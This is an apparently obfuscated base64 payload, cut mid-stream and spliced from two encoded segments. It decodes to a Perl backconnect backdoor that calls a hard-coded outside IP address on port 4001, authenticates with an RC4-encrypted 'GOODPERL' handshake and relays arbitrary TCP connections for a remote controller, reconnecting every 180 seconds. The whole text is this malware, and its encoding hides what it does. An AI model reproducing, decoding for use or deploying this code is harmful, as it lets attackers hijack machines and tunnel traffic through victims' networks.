gkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nN